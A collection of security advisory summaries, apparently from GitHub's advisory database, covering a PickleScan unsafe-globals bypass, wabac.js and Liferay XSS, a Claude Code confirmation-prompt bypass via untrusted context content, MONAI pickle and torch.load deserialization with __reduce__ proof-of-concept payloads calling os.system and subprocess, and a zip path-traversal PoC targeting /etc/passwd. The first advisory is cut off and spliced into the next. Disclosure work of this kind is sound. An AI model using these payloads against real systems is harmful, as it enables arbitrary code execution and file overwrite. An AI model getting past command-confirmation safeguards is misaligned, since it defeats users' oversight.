Source
ghsa
### Summary The vulnerability allows malicious actors to bypass PickleScan's unsafe globals check, leading to potential arbitrary code execution. The issue stems from PickleScan's strict check for full module names against its list of unsafe globals. By using subclasses of dangerous imports instead of the exact module names, attackers can circumvent the check and inject malicious payloads. ### PoC 1. Download a model that uses the `asyncio` package: ```wget https://huggingface.co/iluem/linux_pkl/resolve/main/asyncio_asyncio_unix_events___UnixSubprocessTransport__start.pkl``` 2. Check with PickleScan: `picklescan -p asyncio_asyncio_unix_events___UnixSubprocessTransport__start.pkl -g` **Expected Result:** PickleScan should identify all `asyncio` import as dangerous and flag the pickle file as malicious as `asyncio` is in `_unsafe_globals` dictionary. **Actual Result:**  vulnerability exists in the 404 error handling logic of wabac.js v2.23.10 and below. The parameter `requestURL` (derived from the original request target) is directly embedded into an inline `<script>` block without sanitization or escaping. This allows an attacker to craft a malicious URL that executes arbitrary JavaScript in the victim’s browser. The scope may be limited by CORS policies, depending on the situation in which wabac.js is used. ### Patches The vulnerability is fixed in wabac.js v2.23.11.
Due to an error in command parsing, it was possible to bypass the Claude Code confirmation prompt to trigger execution of an untrusted command. Reliably exploiting this requires the ability to add untrusted content into a Claude Code context window. Users on standard Claude Code auto-update will have received this fix automatically. Users performing manual updates are advised to update to the latest version. Thank you to the NVIDIA AI Red Team for reporting this issue!
Enumeration of ERC from object entry in Liferay Portal 7.4.0 through 7.4.3.128, and Liferay DXP 2024.Q3.0 through 2024.Q3.1, 2024.Q2.0 through 2024.Q2.13, 2024.Q1.1 through 2024.Q1.12, 2023.Q4.0 and 7.4 GA through update 92 allow attackers to determine existent ERC in the application by exploit the time response.
Stored cross-site scripting (XSS) vulnerability in Liferay Portal 7.4.0 through 7.4.3.128, and Liferay DXP 2024.Q3.0 through 2024.Q3.5, 2024.Q2.0 through 2024.Q2.12, 2024.Q1.1 through 2024.Q1.12, and 7.4 GA through update 92 allows remote attackers to inject arbitrary web script or HTML via remote app title field.
Reflected cross-site scripting (XSS) vulnerability in Liferay Portal 7.4.3.110 through 7.4.3.128, and Liferay DXP 2024.Q3.1 through 2024.Q3.8, 2024.Q2.0 through 2024.Q2.13 and 2024.Q1.1 through 2024.Q1.12 allows remote attackers to inject arbitrary web script or HTML via the URL in search bar portlet
>To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.) ### Summary The ```pickle_operations``` function in ```monai/data/utils.py``` automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures. When verified using the following proof-of-concept, arbitrary code execution can occur. ``` #Poc from monai.data.utils import pickle_operations import pickle import subprocess class MaliciousPayload: def __reduce__(self): return (subprocess.call, (['touch', '/tmp/hacker1.txt'],)) malicious_data...
### Summary In ```model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True)``` in monai/bundle/scripts.py , ```weights_only=True``` is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints. This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface. Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution. The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints. ``` import os import tempfile import json import torch from pathlib import Path class MaliciousPayload: def __reduce__(self): return (os.system, ('touch /tmp/hacker2.txt',)) def test_checkpoint_loader_attack(): temp_dir = Path(tempfile.mkdtemp()) checkpoint_file = temp_dir / "m...
### Summary The extractall function ```zip_file.extractall(output_dir)``` is used directly to process compressed files. It is used in many places in the project. When the Zip file containing malicious content is decompressed, it will overwrite the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability. When reproducing locally, follow the process below to create a malicious zip file and simulate the process of remotely downloading the zip file. ``` root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# mkdir -p test_bundle root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# echo "malicious content" > test_bundle/malicious.txt root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# cd test_bundle root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# zip -r ../malicious.zip . ../../../../../../etc/passwd adding: malicious.txt (stored 0%) addi...
### Impact TinyEnv did not properly strip inline comments inside .env values. This could lead to unexpected behavior or misconfiguration, where variables contain unintended characters (including # or comment text). Applications depending on strict environment values may expose logic errors, insecure defaults, or failed authentication. ### Patches Fixed in v1.0.11. Users should upgrade to the latest patched version. ### Workarounds As a temporary workaround, avoid using inline comments in .env files, or sanitize loaded values manually.